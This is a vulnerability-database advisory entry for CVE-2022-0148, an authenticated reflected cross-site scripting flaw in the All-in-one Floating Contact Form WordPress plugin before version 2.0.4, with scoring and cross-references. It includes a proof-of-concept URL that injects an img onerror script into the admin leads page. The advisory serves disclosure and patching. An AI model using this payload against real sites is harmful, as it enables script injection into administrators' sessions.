Lucene search
Krzysztof ZającWPEX-ID:37665EE1-C57F-4445-9596-DF4F7D72C8CDHistoryJan 10, 2022 - 12:00 a.m.
All-in-one Floating Contact Form < 2.0.4 - Authenticated Reflected Cross-Site Scripting (XSS)
2022-01-1000:00:00
Krzysztof Zając
155
0.001 Low
EPSS
Percentile
50.5%
The plugin was vulnerable to reflected XSS on the my-sticky-elements-leads admin page.
http://127.0.0.1:8001/wp-admin/admin.php?page=my-sticky-elements-leads&search-contact=xxxx%22%3E%3Cimg+src+onerror%3Dalert%281%29+xRelated
cnvd
cnvd
wpvulndb
wpvulndb
cvelist
cvelist
cve
cve
CVE-2022-0148
2022-02-07 16:16:38
nvd
nvd
CVE-2022-0148
2022-02-07 16:16:38
prion
prion
Cross site scripting
2022-02-07 16:16:00
nuclei
nuclei
WordPress All-in-one Floating Contact Form <2.0.4 - Cross-Site Scripting
2022-03-27 14:25:03
patchstack
patchstack